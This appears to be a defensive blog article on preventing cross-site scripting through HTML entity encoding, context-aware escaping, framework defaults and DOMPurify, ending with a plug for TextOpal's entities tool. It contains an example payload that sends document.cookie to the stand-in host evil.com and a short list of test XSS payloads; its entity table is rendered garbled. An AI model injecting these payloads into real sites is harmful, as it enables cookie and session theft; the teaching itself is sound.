HTML Entities and XSS: Why Escaping Saves Apps
Cross-site scripting is still one of the most common web vulnerabilities. Here's how HTML entity encoding prevents it — and why it's not the whole story.
Cross-site scripting (XSS) has been on the OWASP Top 10 since the list was created. Despite two decades of awareness, it remains one of the most common web vulnerabilities — and the root cause is almost always the same: user-controlled data reaches the browser without being escaped.
The fix is conceptually simple. Escape the characters that have special meaning in HTML before inserting untrusted data into the DOM. But "escape correctly" turns out to have more nuance than it appears.
What HTML entities are
HTML defines a set of reserved characters that have structural meaning: <, >, &, ", and '. These characters start tags, end tags, separate attributes, and delimit strings. If you want to display them as literal text — say, in a code snippet or a tutorial — you have to encode them as HTML entities:
<→<>→>&→&"→"'→'(no named entity in HTML4, but'works in HTML5)
The browser decodes these entities back to their literal characters when rendering, but they're invisible to the HTML parser. So <script>alert(1)</script> written in source becomes <script>alert(1)</script> — which the browser renders as the literal text "<script>alert(1)</script>" instead of executing it.
Why XSS happens
When a web app displays user-generated content — a comment, a username, a profile bio, a review — it has to insert that content into the HTML of the page. If the app uses string concatenation or innerHTML without escaping, an attacker can inject markup that gets parsed as live HTML:
// DANGEROUS
commentElement.innerHTML = `<p>${userComment}</p>`;
If userComment is <script>document.location='https://evil.com/?c='+document.cookie</script>, the script executes in the victim's browser, sending their cookies to the attacker.
The attacker doesn't need to use <script>. They can use <img onerror="...">, <svg onload="...">, <a href="javascript:...">, or any of dozens of other event handlers and pseudo-URLs that execute JavaScript.
What entity encoding prevents
Properly escaping the five reserved characters (<, >, &, ", ') prevents the attacker from injecting any new HTML structure. Their <script> becomes <script> — text, not markup. Their onerror="..." becomes onerror="..." — also text.
This is the foundation of XSS prevention. Every modern framework does it automatically when you use the default interpolation syntax:
- React:
{userComment}(nodangerouslySetInnerHTML) - Vue:
{{ userComment }} - Angular:
{{ userComment }} - Svelte:
{userComment}
The frameworks got this right years ago. The bugs come from developers explicitly bypassing the protection — dangerouslySetInnerHTML in React, v-html in Vue, [innerHTML] in Angular — when they need to render rich text.
When escaping isn't enough
Escaping the five reserved characters handles the most common case: inserting text inside an element's body. But there are contexts where this isn't sufficient.
Inside an attribute value. If you're inserting untrusted data into an HTML attribute, like <a href="${url}">, you need to escape quotes (so the attacker can't break out of the attribute) — but you also need to validate the protocol. An attacker who can set the href to javascript:alert(1) bypasses HTML escaping entirely, because the value is a URL, not markup.
Inside a <script> block. Don't put untrusted data in <script> tags at all. If you must, use JSON.stringify and ensure the result doesn't contain </script>, which can prematurely close the script element. The standard workaround is to escape < to \u003c.
Inside CSS or style attributes. Untrusted data in CSS contexts can lead to CSS injection — exfiltrating data via attribute selectors or loading external resources. Escape <, >, &, and any non-alphanumeric character that could break out of the CSS context.
Inside a URL fragment. URL fragments can be tricky because they're parsed as URLs but displayed as text. Use encodeURIComponent for the data, then HTML-escape the result if it's going into an attribute.
The OWASP XSS prevention rules
OWASP publishes a cheat sheet with specific rules for each context. The summary:
- HTML element content: Escape
<,>,&,",'. - HTML attribute value: Same as above, plus escape all non-alphanumeric characters if the attribute is unquoted.
- JavaScript string: Use
\uXXXXfor non-alphanumeric characters. - CSS value: Use
\HHfor non-alphanumeric characters. - URL parameter: Use
encodeURIComponent. - Don't put untrusted data in
<script>,<style>,<iframe>, or comments.
The unifying principle: know what context your data is being inserted into, and apply the right escaping rules for that context. Generic "HTML escaping" doesn't cover every case.
Why frameworks aren't a complete fix
Modern frameworks handle the common case automatically, but they can't protect you from every mistake. Two patterns still cause problems:
1. Using dangerouslySetInnerHTML with sanitized HTML. When you need to render rich text (Markdown, comments with formatting, etc.), the framework's default escaping won't work — you need to allow some HTML through while stripping dangerous tags. This is what DOMPurify is for. Don't write your own sanitizer.
2. Inserting URLs into href or src attributes. Even with proper attribute escaping, javascript: and data: URLs can execute code. Validate the URL protocol (allow only http:, https:, mailto:, and relative URLs) before inserting it into an href.
Encoding for content vs. encoding for safety
HTML entity encoding serves two purposes that often overlap:
Content correctness: When you want to display the literal text <b> (e.g., in a tutorial about HTML), you must encode it as <b> so the browser doesn't try to render it as a tag. This is about display, not security.
Security: When you want to prevent user input from being interpreted as HTML, the same encoding achieves that. This is the XSS prevention angle.
Most of the time, both goals are satisfied by the same encoding. The exceptions are the contexts above (URLs, scripts, CSS) where the security encoding is stricter than the content encoding.
Testing for XSS
If you're building an app and want to test for XSS, the OWASP XSS Filter Evasion Cheat Sheet lists hundreds of payloads that bypass naive filters. A few that catch most bugs:
<img src=x onerror=alert(1)>— basic event handler injection"><script>alert(1)</script>— attribute breakoutjavascript:alert(1)— URL protocol injection<svg/onload=alert(1)>— SVG event handler--><script>alert(1)</script>— comment breakout
If any of these execute when stored and displayed, you have an XSS vulnerability.
The bottom line
XSS is one of the easiest vulnerabilities to introduce and one of the easiest to prevent. The prevention rules are:
- Use a framework with automatic escaping (React, Vue, Svelte, etc.).
- Don't bypass the framework's escaping unless you absolutely must.
- When you do bypass it, use a real sanitizer like DOMPurify.
- Validate URLs before inserting them into
hrefattributes. - Test with real XSS payloads, not just
<script>alert(1)</script>.
When you need to display literal HTML entities in content (a code snippet, a tutorial, a docs page), encoding the five reserved characters is enough. TextOpal's HTML Entities tool handles this with a searchable palette of named entities, plus live encoding as you type — useful when you're writing documentation or escaping content for an RSS feed.
The full prevention story requires more than encoding — context-aware validation, CSP headers, httpOnly cookies — but the encoding step is non-negotiable. Every untrusted byte that reaches the browser must be escaped for its context. Skip that step, and the rest of your defenses don't matter.